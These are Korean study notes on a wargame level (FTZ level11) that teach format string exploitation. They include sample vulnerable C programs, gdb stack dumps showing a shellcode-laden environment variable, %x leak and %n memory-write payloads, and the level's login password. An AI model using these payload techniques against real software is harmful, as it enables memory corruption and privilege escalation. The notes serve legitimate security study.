20160708 리버싱
11 | Leve11 -> Leve12 |
단원의 목적
포맷스트링(FSB(Format String Bug))과 버퍼오버플로우(BOF(Buffer OverFlow))
level11 사용자로 로그인
-> ID/PASS: level11/what!@#$?
■ 포맷스트링(Format String)에 대해서
[level11@ftz level11]$ ls -l
합계 28 -rwsr-x--- 1 level12 level11 13733 3월 8 2003 attackme -rw-r----- 1 root level11 168 3월 8 2003 hint drwxr-xr-x 2 root level11 4096 2월 24 2002 public_html drwxrwxr-x 2 root level11 4096 1월 14 2009 tmp |
[level11@ftz level11]$ cd tmp
[level11@ftz tmp]$ vi format.c
#include <stdio.h>
#define MAX 127
int main() { int i, value[MAX];
for(i=0; i<MAX; i++) { value[i]=i; printf("Hex=0x%x, DEC=%d, OCT=%o, CHAR=%c\n", value[i], value[i], value[i], value[i]); } printf("\n"); } |
[level11@ftz tmp]$ gcc -o format format.c
[level11@ftz tmp]$ ./format
Hex=0x0, DEC=0, OCT=0, CHAR= Hex=0x1, DEC=1, OCT=1, CHAR= Hex=0x2, DEC=2, OCT=2, CHAR= Hex=0x3, DEC=3, OCT=3, CHAR= Hex=0x4, DEC=4, OCT=4, CHAR= Hex=0x5, DEC=5, OCT=5, CHAR= Hex=0x6, DEC=6, OCT=6, CHAR= Hex=0x7, DEC=7, OCT=7, CHAR= Hex=0x8, DEC=8, OCT=10, CHAR= Hex=0x9, DEC=9, OCT=11, CHAR= Hex=0xa, DEC=10, OCT=12, CHAR=
Hex=0xb, DEC=11, OCT=13, CHAR=
Hex=0xc, DEC=12, OCT=14, CHAR=
Hex=0xd, DEC=13, OCT=15, CHAR= Hex=0xe, DEC=14, OCT=16, CHAR= Hex=0xf, DEC=15, OCT=17, CHAR= Hex=0x10, DEC=16, OCT=20, CHAR= Hex=0x11, DEC=17, OCT=21, CHAR= Hex=0x12, DEC=18, OCT=22, CHAR= Hex=0x13, DEC=19, OCT=23, CHAR= Hex=0x14, DEC=20, OCT=24, CHAR= Hex=0x15, DEC=21, OCT=25, CHAR= Hex=0x16, DEC=22, OCT=26, CHAR= Hex=0x17, DEC=23, OCT=27, CHAR= Hex=0x18, DEC=24, OCT=30, CHAR= Hex=0x19, DEC=25, OCT=31, CHAR= Hex=0x1a, DEC=26, OCT=32, CHAR= Hex=0x1b, DEC=27, OCT=33, CHAR= ex=0x1c, DEC=28, OCT=34, CHAR= Hex=0x1d, DEC=29, OCT=35, CHAR= Hex=0x1e, DEC=30, OCT=36, CHAR= Hex=0x1f, DEC=31, OCT=37, CHAR= Hex=0x20, DEC=32, OCT=40, CHAR= Hex=0x21, DEC=33, OCT=41, CHAR=! Hex=0x22, DEC=34, OCT=42, CHAR=" Hex=0x23, DEC=35, OCT=43, CHAR=# Hex=0x24, DEC=36, OCT=44, CHAR=$ Hex=0x25, DEC=37, OCT=45, CHAR=% Hex=0x26, DEC=38, OCT=46, CHAR=& Hex=0x27, DEC=39, OCT=47, CHAR=' Hex=0x28, DEC=40, OCT=50, CHAR=( Hex=0x29, DEC=41, OCT=51, CHAR=) Hex=0x2a, DEC=42, OCT=52, CHAR=* Hex=0x2b, DEC=43, OCT=53, CHAR=+ Hex=0x2c, DEC=44, OCT=54, CHAR=, Hex=0x2d, DEC=45, OCT=55, CHAR=- Hex=0x2e, DEC=46, OCT=56, CHAR=. Hex=0x2f, DEC=47, OCT=57, CHAR=/ Hex=0x30, DEC=48, OCT=60, CHAR=0 Hex=0x31, DEC=49, OCT=61, CHAR=1 Hex=0x32, DEC=50, OCT=62, CHAR=2 Hex=0x33, DEC=51, OCT=63, CHAR=3 Hex=0x34, DEC=52, OCT=64, CHAR=4 Hex=0x35, DEC=53, OCT=65, CHAR=5 Hex=0x36, DEC=54, OCT=66, CHAR=6 Hex=0x37, DEC=55, OCT=67, CHAR=7 Hex=0x38, DEC=56, OCT=70, CHAR=8 Hex=0x39, DEC=57, OCT=71, CHAR=9 Hex=0x3a, DEC=58, OCT=72, CHAR=: Hex=0x3b, DEC=59, OCT=73, CHAR=; Hex=0x3c, DEC=60, OCT=74, CHAR=< Hex=0x3d, DEC=61, OCT=75, CHAR== Hex=0x3e, DEC=62, OCT=76, CHAR=> Hex=0x3f, DEC=63, OCT=77, CHAR=? Hex=0x40, DEC=64, OCT=100, CHAR=@ Hex=0x41, DEC=65, OCT=101, CHAR=A Hex=0x42, DEC=66, OCT=102, CHAR=B Hex=0x43, DEC=67, OCT=103, CHAR=C Hex=0x44, DEC=68, OCT=104, CHAR=D Hex=0x45, DEC=69, OCT=105, CHAR=E Hex=0x46, DEC=70, OCT=106, CHAR=F Hex=0x47, DEC=71, OCT=107, CHAR=G Hex=0x48, DEC=72, OCT=110, CHAR=H Hex=0x49, DEC=73, OCT=111, CHAR=I Hex=0x4a, DEC=74, OCT=112, CHAR=J Hex=0x4b, DEC=75, OCT=113, CHAR=K Hex=0x4c, DEC=76, OCT=114, CHAR=L Hex=0x4d, DEC=77, OCT=115, CHAR=M Hex=0x4e, DEC=78, OCT=116, CHAR=N Hex=0x4f, DEC=79, OCT=117, CHAR=O Hex=0x50, DEC=80, OCT=120, CHAR=P Hex=0x51, DEC=81, OCT=121, CHAR=Q Hex=0x52, DEC=82, OCT=122, CHAR=R Hex=0x53, DEC=83, OCT=123, CHAR=S Hex=0x54, DEC=84, OCT=124, CHAR=T Hex=0x55, DEC=85, OCT=125, CHAR=U Hex=0x56, DEC=86, OCT=126, CHAR=V Hex=0x57, DEC=87, OCT=127, CHAR=W Hex=0x58, DEC=88, OCT=130, CHAR=X Hex=0x59, DEC=89, OCT=131, CHAR=Y Hex=0x5a, DEC=90, OCT=132, CHAR=Z Hex=0x5b, DEC=91, OCT=133, CHAR=[ Hex=0x5c, DEC=92, OCT=134, CHAR=\ Hex=0x5d, DEC=93, OCT=135, CHAR=] Hex=0x5e, DEC=94, OCT=136, CHAR=^ Hex=0x5f, DEC=95, OCT=137, CHAR=_ Hex=0x60, DEC=96, OCT=140, CHAR=` Hex=0x61, DEC=97, OCT=141, CHAR=a Hex=0x62, DEC=98, OCT=142, CHAR=b Hex=0x63, DEC=99, OCT=143, CHAR=c Hex=0x64, DEC=100, OCT=144, CHAR=d Hex=0x65, DEC=101, OCT=145, CHAR=e Hex=0x66, DEC=102, OCT=146, CHAR=f Hex=0x67, DEC=103, OCT=147, CHAR=g Hex=0x68, DEC=104, OCT=150, CHAR=h Hex=0x69, DEC=105, OCT=151, CHAR=i Hex=0x6a, DEC=106, OCT=152, CHAR=j Hex=0x6b, DEC=107, OCT=153, CHAR=k Hex=0x6c, DEC=108, OCT=154, CHAR=l Hex=0x6d, DEC=109, OCT=155, CHAR=m Hex=0x6e, DEC=110, OCT=156, CHAR=n Hex=0x6f, DEC=111, OCT=157, CHAR=o Hex=0x70, DEC=112, OCT=160, CHAR=p Hex=0x71, DEC=113, OCT=161, CHAR=q Hex=0x72, DEC=114, OCT=162, CHAR=r Hex=0x73, DEC=115, OCT=163, CHAR=s Hex=0x74, DEC=116, OCT=164, CHAR=t Hex=0x75, DEC=117, OCT=165, CHAR=u Hex=0x76, DEC=118, OCT=166, CHAR=v Hex=0x77, DEC=119, OCT=167, CHAR=w Hex=0x78, DEC=120, OCT=170, CHAR=x Hex=0x79, DEC=121, OCT=171, CHAR=y Hex=0x7a, DEC=122, OCT=172, CHAR=z Hex=0x7b, DEC=123, OCT=173, CHAR={ Hex=0x7c, DEC=124, OCT=174, CHAR=| Hex=0x7d, DEC=125, OCT=175, CHAR=} Hex=0x7e, DEC=126, OCT=176, CHAR=~ |
-> 0 ~ 31번까지는 해당하는 특수문자이기 때문에 %c라는 포맷스트링을 통해 문자로 출력할 수 없다.
-> 위의 내용은 아스키 코드 테이블과 일치한다는 것을 알수 있다.
-> (주의) 메모리에 저장된 2진수와 화면상에 표시되는 값을 동일한 값으로 혼동해서는 안된다.
[level10@ftz tmp]$ export LANG=C
[level10@ftz tmp]$ man ascii
..... (중략) ..... The following table contains the 128 ASCII characters.
C program '\X' escapes are noted.
Oct Dec Hex Char Oct Dec Hex Char ------------------------------------------------------------ 000 0 00 NUL '\0' 100 64 40 @ 001 1 01 SOH 101 65 41 A 002 2 02 STX 102 66 42 B 003 3 03 ETX 103 67 43 C 004 4 04 EOT 104 68 44 D 005 5 05 ENQ 105 69 45 E 006 6 06 ACK 106 70 46 F 007 7 07 BEL '\a' 107 71 47 G 010 8 08 BS '\b' 110 72 48 H 011 9 09 HT '\t' 111 73 49 I 012 10 0A LF '\n' 112 74 4A J 013 11 0B VT '\v' 113 75 4B K 014 12 0C FF '\f' 114 76 4C L 015 13 0D CR '\r' 115 77 4D M 016 14 0E SO 116 78 4E N 017 15 0F SI 117 79 4F O 020 16 10 DLE 120 80 50 P 021 17 11 DC1 121 81 51 Q 022 18 12 DC2 122 82 52 R 023 19 13 DC3 123 83 53 S 024 20 14 DC4 124 84 54 T 025 21 15 NAK 125 85 55 U 026 22 16 SYN 126 86 56 V 027 23 17 ETB 127 87 57 W 030 24 18 CAN 130 88 58 X 031 25 19 EM 131 89 59 Y 032 26 1A SUB 132 90 5A Z 033 27 1B ESC 133 91 5B [ 034 28 1C FS 134 92 5C \ '\\' 035 29 1D GS 135 93 5D ] 036 30 1E RS 136 94 5E ^ 037 31 1F US 137 95 5F _ 040 32 20 SPACE 140 96 60 ` 041 33 21 ! 141 97 61 a 042 34 22 " 142 98 62 b 043 35 23 # 143 99 63 c 044 36 24 $ 144 100 64 d 045 37 25 % 145 101 65 e 046 38 26 & 146 102 66 f 047 39 27 ' 147 103 67 g 050 40 28 ( 150 104 68 h 051 41 29 ) 151 105 69 i 052 42 2A * 152 106 6A j 053 43 2B + 153 107 6B k 054 44 2C , 154 108 6C l 055 45 2D - 155 109 6D m 056 46 2E . 156 110 6E n 057 47 2F / 157 111 6F o 060 48 30 0 160 112 70 p 061 49 31 1 161 113 71 q 062 50 32 2 162 114 72 r 063 51 33 3 163 115 73 s 064 52 34 4 164 116 74 t 065 53 35 5 165 117 75 u 066 54 36 6 166 118 76 v 067 55 37 7 167 119 77 w 070 56 38 8 170 120 78 x 071 57 39 9 171 121 79 y 072 58 3A : 172 122 7A z 073 59 3B ; 173 123 7B { 074 60 3C < 174 124 7C | 075 61 3D = 175 125 7D } 076 62 3E > 176 126 7E ~ 077 63 3F ? 177 127 7F DEL ..... (중략) ..... |
2진수로 저장된 값을 우리가 인식할 수 있는 형태로 바꿔 주는 것이 바로 printf() 함수와 같은 곳에 전달하는 포맷 스트링 인자이다.
메모리(2진수) ----- (사람이 이해할 수 있도록) ----> printf(포맷스트링인자)
일반적으로 C 프로그램에서 제공되는 대표적인 포맷스트링(Format String)
---------------------------------------------------------
식별자 인수 출력 결과
---------------------------------------------------------
%x int 부호 없는 16진 정수
%d int 부호 있는 십진 정수
%o int 부호 없는 8진 정수
%c char 1문자(1 char)
%s char * "\0" 직전까지의 문자열
%f double 소수점 표현
%p void * 변수의 주소 16진수 출력
---------------------------------------------------------
%n int * %n 이전까지 쓴 문자열의 바이트 수 쓰기
printf("%바이트수c%n", j, &i);
printf("%1000d%n", j, &i);
---------------------------------------------------------
(주의) 포맷 스트링관 관련된 코드를 볼때 단순히 화면에 출력되는 값뿐 아니라 메모리에 실제로 어떤 값이 저장되어 있는지도 염두해 두어야 한다.
[level10@ftz tmp]$ vi format2.c
#include <stdio.h>
int main(int argc, char *argv[]) { int a=10; char *RokHacker="I am ROKHacker!"; char *SuperUser="I am SuperUser!";
printf(argv[1]); printf("\n"); } |
-> 포맷 스트링 취약점은 정확한 메모리 주소를 계산해야 하기 때문에 버퍼 오버플러우와 비슷할 수 있다.
-> (확인) printf(argv[1]); 부분은 원래 printf("%s", argv[1]); 설정했어야 한다.
------------------------------------------
올바른 함수 형식 잘못된 함수 형식
------------------------------------------
printf("%s", str); printf(str);
------------------------------------------
[level11@ftz tmp]$ gcc -mpreferred-stack-boundary=2 -o format2 format2.c
[level11@ftz tmp]$ gdb -q format2
(gdb) disassemble main Dump of assembler code for function main: 0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0xc,%esp /* 0xc = (10진수) 12 bytes */ 0x0804832e <main+6>: movl $0xa,0xfffffffc(%ebp) 0x08048335 <main+13>: movl $0x8048410,0xfffffff8(%ebp) 0x0804833c <main+20>: movl $0x8048420,0xfffffff4(%ebp) 0x08048343 <main+27>: mov 0xc(%ebp),%eax 0x08048346 <main+30>: add $0x4,%eax 0x08048349 <main+33>: pushl (%eax) 0x0804834b <main+35>: call 0x8048268 <printf> 0x08048350 <main+40>: add $0x4,%esp 0x08048353 <main+43>: push $0x8048430 0x08048358 <main+48>: call 0x8048268 <printf> 0x0804835d <main+53>: add $0x4,%esp 0x08048360 <main+56>: leave 0x08048361 <main+57>: ret 0x08048362 <main+58>: nop 0x08048363 <main+59>: nop End of assembler dump. (gdb) quit |
-> mpreferred-stack-boundary=2 옵션을 지정해서 컴파일하면 스택의 경계(Boundary)가 2바이트 단위로 증가하게 된다.
-> 지역변수 공간으로 0xc(12bytes) 만큼 할당한 것을 확인해 볼수 있다.
따라서, 변수를 4개 선언하면 0x10(16bytes)가 될것이다.
<--- 스택의 증가 방향
------------------------------------------------------------------------------------------
4bytes 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes
------------------------------------------------------------------------------------------
*SuperUser *RokHacker a SFP RET argc argv env
------------------------------------------------------------------------------------------
문자열 주소 문자열 주소 10 2 명령어 환경변수
&(I am Super..) &(I am ROK..) 0xa 0x02
------------------------------------------------------------------------------------------
<--- 낮은 메모리 주소 높은 메모리 주소 --->
간단한 포맷스트링의 취약점 개념을 이해해 보자.
[level11@ftz tmp]$ ./format2 "AAAA"
AAAA |
-> printf(argv[1]); <===> printf("AAAA");
[level11@ftz tmp]$ ./format2 %x
8048420 |
-> printf(argv); 부분이 printf("%x"); 처럼 동작하고 있다.
-> 또한 8048420은 메모리의 주소 같은 느낌이 든다.
(정상상태 ) (입력) %x ===> printf("%s", argv[1]); ===> (출력) %x
(비정상상태) (입력) %x ===> printf(argv[1]); ===> (출력) 8048420
[level11@ftz tmp]$ ./format2 %x%x
80484208048410 |
[level11@ftz tmp]$ ./format2 "%x %x"
8048420 8048410 |
-> 구분하기 좋도록 공백을 한칸 둔다.
[level11@ftz tmp]$ ./format2 "%x %x %x"
8048420 8048410 a |
[level11@ftz tmp]$ ./format2 "%x %x %x %x"
8048420 8048410 a bffff288 |
[level11@ftz tmp]$ ./format2 "%x %x %x %x %x"
8048420 8048410 a bffff088 42015574 |
[level11@ftz tmp]$ ./format2 "%x %x %x %x %x %x"
8048420 8048410 a bfffef08 42015574 2 |
[level11@ftz tmp]$ ./format2 "%x %x %x %x %x %x %x"
8048420 8048410 a bfffd408 42015574 2 bfffd434 |
[level11@ftz tmp]$ ./format2 "%x %x %x %x %x %x %x %x"
8048420 8048410 a bfffe6f8 42015574 2 bfffe724 bfffe730 |
[level11@ftz tmp]$ ./format2 "%8x %8x %8x %8x %8x %8x %8x %8x"
8048420 8048410 a bfffddf8 42015574 2 bfffde24 bfffde30 |
-> 출력되는 포맷을 맞추기 위해서 %8x 사용
-> (?) 출력되는 이값은 무슨 값인가?
<--- 스택의 증가 방향
------------------------------------------------------------------------------------------
4bytes 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes
------------------------------------------------------------------------------------------
*SuperUser *RokHacker a SFP RET argc argv env
------------------------------------------------------------------------------------------
문자열 주소 문자열 주소 10 2 명령어 환경변수
&(I am Super..) &(I am ROK..) 0xa 0x02
------------------------------------------------------------------------------------------
<--- 낮은 메모리 주소 높은 메모리 주소 --->
이제 gdb를 통해 main() 함수의 스택 프래임을 정확하게 확인해 보자.
(주의) 스택은 무조건 4바이트(32bits) 단위이다.
(주의) 스택안에는 주소 또는 값만 들어간다.
[level11@ftz tmp]$ gdb -q format2
(gdb) disas main Dump of assembler code for function main: 0x08048328 <main+0>: push %ebp 0x08048329 <main+1>: mov %esp,%ebp 0x0804832b <main+3>: sub $0xc,%esp 0x0804832e <main+6>: movl $0xa,0xfffffffc(%ebp) 0x08048335 <main+13>: movl $0x8048410,0xfffffff8(%ebp) 0x0804833c <main+20>: movl $0x8048420,0xfffffff4(%ebp) 0x08048343 <main+27>: mov 0xc(%ebp),%eax 0x08048346 <main+30>: add $0x4,%eax 0x08048349 <main+33>: pushl (%eax) 0x0804834b <main+35>: call 0x8048268 <printf> 0x08048350 <main+40>: add $0x4,%esp 0x08048353 <main+43>: push $0x8048430 0x08048358 <main+48>: call 0x8048268 <printf> 0x0804835d <main+53>: add $0x4,%esp 0x08048360 <main+56>: leave 0x08048361 <main+57>: ret 0x08048362 <main+58>: nop 0x08048363 <main+59>: nop End of assembler dump. (gdb) b *0x0804834b Breakpoint 1 at 0x804834b (gdb) r "%8x %8x %8x %8x %8x %8x %8x %8x" Starting program: /home/level11/tmp/format2 "%8x %8x %8x %8x %8x %8x %8x %8x"
Breakpoint 1, 0x0804834b in main () (gdb) x/9x $esp 0xbfffe238: 0xbffff421 0x08048420 0x08048410 0x0000000a 0xbfffe248: 0xbfffe268 0x42015574 0x00000002 0xbfffe294 0xbfffe258: 0xbfffe2a0
■ (실습)스택의 그림을 자신의 테스트에 맞게 그린다. ==================================[스택의 구조시작]=======================================
<--- 스택 증가 방향 ------------------------------------------------------------------------------------------ 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes ------------------------------------------------------------------------------------------ 0xbfffe23c 0xbfffe240 0xbfffe244 0xbfffe248 0xbfffe24c 0xbfffe250 0xbfffe254 0xbfffe258 0x08048420 0x08048410 0x0000000a 0xbfffe268 0x42015574 0x00000002 0xbfffe294 0xbfffe2a0 ------------------------------------------------------------------------------------------ *SuperUser *RokHacker a SFP RET argc argv env ------------------------------------------------------------------------------------------ 문자열 주소 문자열 주소 0xa(=10) 0x2(=2) 명령어 환경변수 &(I am Super..) &(I am ROK..) ------------------------------------------------------------------------------------------ <--- 낮은 메모리 주소 높은 메모리 주소 --->
==================================[스택의 구조끝]=========================================
(gdb) x/s 0xbffff421 0xbffff421: "%8x %8x %8x %8x %8x %8x %8x %8x" (gdb) x/s 0x08048420 0x8048420 <_IO_stdin_used+20>: "I am SuperUser!" (gdb) x/s 0x08048410 0x8048410 <_IO_stdin_used+4>: "I am ROKHacker!" (gdb) x/d 0xbfffe244 0xbfffe244: 10 (gdb) x/x 0xbfffe268 0xbfffe268: 0x00000000 (gdb) x/x 0x42015574 0x42015574 <__libc_start_main+228>: 0x58ebc189 (gdb) x/d 0xbfffe250 0xbfffe250: 2 (gdb) x/x 0xbfffe294 0xbfffe294: 0xbffff407 (gdb) x/2s 0xbffff407 0xbffff407: "/home/level11/tmp/format2" 0xbffff421: "%8x %8x %8x %8x %8x %8x %8x %8x" (gdb) x/x 0xbfffe2a0 0xbfffe2a0: 0xbffff441 (gdb) x/16s 0xbffff441 0xbffff441: "REMOTEHOST=192.168.10.1" 0xbffff459: "HOSTNAME=ftz.hackerschool.org" 0xbffff477: "SUPERDK=", '\220' <repeats 192 times>... 0xbffff53f: '\220' <repeats 200 times>... 0xbffff607: '\220' <repeats 200 times>... 0xbffff6cf: '\220' <repeats 200 times>... 0xbffff797: '\220' <repeats 200 times>... 0xbffff85f: '\220' <repeats 200 times>... 0xbffff927: '\220' <repeats 200 times>... 0xbffff9ef: '\220' <repeats 200 times>... 0xbffffab7: '\220' <repeats 200 times>... 0xbffffb7f: '\220' <repeats 200 times>... 0xbffffc47: '\220' <repeats 22 times>, "1?柰\vRh//shh/bin\211?S\211訴\200" 0xbffffc77: "TERM=xterm" 0xbffffc82: "SHELL=/bin/bash" 0xbffffc92: "HISTSIZE=1000" (gdb) quit |
■ 완성된 스택의 구조
==================================[스택의 구조시작]=======================================
<--- 스택 증가 방향
------------------------------------------------------------------------------------------
4bytes 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes 4bytes
------------------------------------------------------------------------------------------
0xbfffe23c 0xbfffe240 0xbfffe244 0xbfffe248 0xbfffe24c 0xbfffe250 0xbfffe254 0xbfffe258
0x08048420 0x08048410 0x0000000a 0xbfffe268 0x42015574 0x00000002 0xbfffe294 0xbfffe2a0
------------------------------------------------------------------------------------------
*SuperUser *RokHacker a SFP RET argc argv env
------------------------------------------------------------------------------------------
문자열 주소 문자열 주소 0xa(=10) 0x2(=2) 명령어 환경변수
&(I am Super..) &(I am ROK..)
------------------------------------------------------------------------------------------
<--- 낮은 메모리 주소 높은 메모리 주소 --->
==================================[스택의 구조끝]=========================================
특정 메모리에 원하는 값을 쓰고 싶다면 포맷스트링 공격의 핵심에 해당하는 %n 지정자를 사용하면 된다. 포맷스티링은 메모리의 값을 읽을 수 있을 뿐더러 메모리에 원하는 값을 쓸수도 있다. % 지정자는 지정자 앞에 쓰인 문자의 수를 %n 지정자에 표기된 바이트 수만큼 이동한 메모리에 있는 주소에 값을 쓴다.
[root@ftz tmp]$ vi format3.c
#include <stdio.h> #include <stdlib.h>
int main(int argc, char *argv[]) { static int i=0; char str[128];
strcpy(str, argv[1]); printf(str); printf("\n i=%p, i=%d\n", &i, i); } |
[root@ftz tmp]$ gcc -o format3 format3.c
[root@ftz tmp]$ ./format3 "AAAA %8x %8x %8x %8x"
AAAA bffffc24 0 0 41414141 i=0x8049484, i=0 |
-> 4번째 값이 41414141(AAAA)임을 알수 있다.
-> 변수 i의 주소가 0x8049484 임을 알수 있다.
==================================[스택의 구조시작]=======================================
<--- 스택 증가 방향
------------------------------------------------------------------------------------------
4bytes 4bytes 4bytes 4bytes
------------------------------------------------------------------------------------------
스택 주소는 생략 되었다.(아래 스택 내용만 표기)
------------------------------------------------------------------------------------------
bffffc24 0x0 0x0 AAAA(41414141)
------------------------------------------------------------------------------------------
<--- 낮은 메모리 주소 높은 메모리 주소 --->
==================================[스택의 구조끝]=========================================
( ? ) 만약 "AAAA %8x %8x %8x %8x" 문자열을 "AAAA%8x%8x%8x%n" 으로 입력하면?
스택 포인터(SP)가 이동하여 가장 높은 메모리 주소쪽으로 이동해 있으므로 그곳에 저장돼 있는 문자 열인 "AAAA"의 16진수 값인 0x41414141에 해당하는 주소에 strlen(AAAA%8x%8x%8x%8x)의 결과에 해당하는 0x1c(28)을 쓰려고 할 것이다.
0x41414141이라는 주소에 접근할 수 없으므로 쓰기에 실패하고 Segmentation Fault 혹은 core dump 등의 에러가 발생할 것이다. AAAA 문자열 대신 우리가 쓸수 있는 메모리 주소를 지정하고, 문자열의 수를 조절하면 우리가 원하는 메모리 주소에 원하는 값을 쓸수 있다.
[level11@ftz tmp]$ ./format3 $(printf "\x84\x94\x04\x08")%8x%8x%8x%n
꼉ffffc21 0 0 i=0x8049484, i=28 |
08049484 주소에 strlen($(printf "\x84\x94\x04\x08")%8x%8x%8x)를 입력한다.
* 08049484 -> 0x8049484(변수 i의 주소)
* %8x%8x%8x -> 8 bytes X 3 = 24 bytes
* strlen($(printf "\x84\x94\x04\x08")%8x%8x%8x)
-> 4 bytes + 24 bytes = 28bytes(16진수: 0x1c)
%n 포맷 스트링 지시자는
특정한 주소에 0x8049484($(printf "\x84\x94\x04\x08"))
28(strlen($(printf "\x84\x94\x04\x08")%8x%8x%8x))
으로 변경하는 역할을 가진다.
[level11@ftz tmp]$ ./format3 $(printf "\x84\x94\x04\x08")%8x%8x%100x%n
꼉ffffc1f 0 0 i=0x8049484, i=120 |
08049484 주소에 strlen($(printf "\x84\x94\x04\x08")%8x%8x%100x)를 입력한다.
* 08049484 -> 0x8049484(변수 i의 주소)
* %8x%8x%100x -> 116 bytes
* strlen($(printf "\x84\x94\x04\x08")%8x%8x%100x)
-> 4 bytes + 116 bytes = 120 bytes(16진수: 0x78)
%n 포맷 스트링 지시자는
특정한 주소에 0x8049484($(printf "\x84\x94\x04\x08"))
120(strlen($(printf "\x84\x94\x04\x08")%8x%8x%100x))
으로 변경하는 역할을 가진다.
다른 포맷으로 변경하는 예제를 보자.
(AAAABBBB + 변수주소 + 길이조절 + %n) 패턴
[level11@ftz tmp]$ ./format3 $(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08")%8x%8x%8x%8x%76x%n
AAAABBBB꼉ffffc12 0 041414141 42424242 i=0x8049484, i=120 |
08049484 주소에 strlen($(printf
"\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08")%8x%8x%8x%8x%76x)를 입력한다.
* 08049484 -> 0x0849484(변수 i의 주소)
* %8x%8x%8x%8x%76x -> 108 bytes
* strlen("\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08")%8x%8x%8x%8x%76x)
-> 120 bytes
%n 포맷 스트링 지시자는
특정한 주소에 0x8049484($(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08"))
120(strlen("\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08")%8x%8x%8x%8x%76x))
으로 변경하는 역할을 가진다.
또 다른 포맷으로 변경하는 예제를 보자.
(AAAABBBB + 변수주소 + CCCC + 길이조절 + %n) 패턴
[level11@ftz tmp]$ ./format3 $(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08\x43\x43\x43\x43")%8x%8x%8x%8x%72x%n
08049484 주소에 strlen($(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08\x43
\x43\x43\x43")%8x%8x%8x%8x%72x)를 입력한다.
* 08049484 -> 0x0849484(변수 i의 주소)
* %8x%8x%8x%8x%72x -> 104 bytes
* strlen("\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08\x43\x43\x43
\x43")%8x%8x%8x%8x%72x) -> 120 bytes
%n 포맷 스트링 지시자는
특정한 주소에 0x8049484($(printf "\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08"))
120(strlen("\x41\x41\x41\x41\x42\x42\x42\x42\x84\x94\x04\x08\x43\x43\x43
\x43")%8x%8x%8x%8x%72x)) -> 120 bytes
으로 변경하는 역할을 가진다.
FSB(Format String Bug) 대해서
다음은 인터넷상의 글을 공부하면서, 다시 정리한 문서입니다. 인터넷에 글을 올려 모든 분들께 감사합니다. 되도록 원문의 내용을 변경하지 않는 상태로 실습용 예제만 편집하였습니다.
1. 포맷 스트링(Format String) 이란?
(예제) test.c
main() { char put[30]; printf("What your name: "); scanf("%s", put); printf("%s hello!\n", put); } |
이러한 소스에서 %s의 역활은 입력받고 출력되는 변수의 Format를 지정하면서 나타나게된다.
포멧스트링의 종류에는
-----------------------------------
%d : 정수형 상수(10진수) int
%c : 문자형 char
%f : 실수형 상수 float
%lf : 실수형 상수 double
%o : 8진수
%x : 16진수
%u : unsigned 10진수
%e : 지수 표기
%s : 문자 스트링
%g : %e와 %f (짧은 쪽을 선택)
-----------------------------------
등이 있으며, 좀더 확장 하여 %n, %hn 과 같은 특수한 기능의 스트링도 있다. 즉, C언어에 있어서 포멧스트링은 아주 중요하고 자주 사용되는 문법표기이다.
2. 무엇이 문제인가?
(예제1) test.c
main() { char put[30]; printf("What your name: "); scanf("%s", put); printf("%s hello!\n", put); } |
(예제2) test2.c
main() { char put[30]; printf("What your name: "); scanf("%s", put); printf(put); printf(" hello!\n"); } |
$./test
What your name: baik baik hello! |
$./test2
What your name: baik baik hello! |
다음과 같은 예제를 해 보자.
$./test2 printf(put); == printf(AAAA%x);
What your name: AAAA%x AAAAbfffe8c0 hello! |
$./test2
What your name: AAAA%x%x AAAAbfffdfc042015481 hello! |
$ ./test2
What your name: AAAA%x%x%x AAAAbfffdec04201548180482da hello! |
$ ./test2
What your name: AAAA%x%x%x%x AAAAbffff8404201548180482da41414141 hello! |
3. %n을 통한 공격방법
(예제3) test3.c
main() { int i=1; printf("i's address: %x\n", &i); printf("i's value: %d\n", i); printf("test%n\n", &i); printf("chaged i's value: %d\n", i); } |
$./test3
i's address: bffff864 i's value: 1 test chaged i's value: 4 |
(예제4) test4.c
main() { long i=0x00000014, j=1; printf("i's address: %x\n", &i); printf("i's value: %x\n", i); printf("%40d%n\n", j, &i); printf("chaged i's value: %x\n", i); } |
$./test4
i's address: bffff4e4 i's value: 14 1 chaged i's value: 28 |
----------------------------------------
변경전 bffff4e4 0x00000014
----------------------------------------
변경후 bffff4e4 0x00000028(십진수: 40)
----------------------------------------
특정한 주소(EX: bffff4e4)가 가리키는 값을 스트링 개수만큼(0x28(40))의 값으로 대입한다.
역시 마챦가지의 결과를 볼수 있다..그런데 여기서 우리가 특정주소의 값을 볼때는 위와 같이 적은 숫자가 아니며..주소는 16진수 8자리로 되어있다. 따라서 특정 주소에 주소값을 넣기 위해서는 다음과 같은 방법이 필요하다.
다음 예제는 i 값에 임의의 주소번지 bfffff01을 넣는 소스이다.
(16진수) bfff -> (10진수) 49151(=bfff)
(16진수) ff01 -> (10진수) 65281(=ff01)
(예제5) test5.c
main() { long i=0x00000014, j=1, *k; printf("i's address : %x\n",&i); printf("i's value : %x\n",i); k=&i; 114687 - 65281 printf("%65281d%n%49406d%n\n",j,k,j,k+2); 49406 = 1bfff - ff01 십진수로 표기한값 printf("chaged i's value : %x\n",i); } |
-> 값 계산하는 방법은 아래 하단을 참고한다.
-> $(printf AAAA(주소)BBBB(주소+2)) =
$ ./test5 | more
i's address: bfffdde4 i's value: 14
..... (중략) .....
q |
$ ./test5
..... (중략) .....
1 chaged i's value: Dec: 65281, Hex: ff01 세그멘테이션 오류 |
----------------------------------------
변경전 bffffb84 0x00000014
----------------------------------------
변경후 bffffb84 0x00000028(십진수: 40)
----------------------------------------
i 값에 임의의 주소번지 bfffff01
(16진수) bfff -> (10진수) 49151
(16진수) ff01 -> (10진수) 65281
printf("%65281d%n%49406d%n\n",j,k,j,k+2);
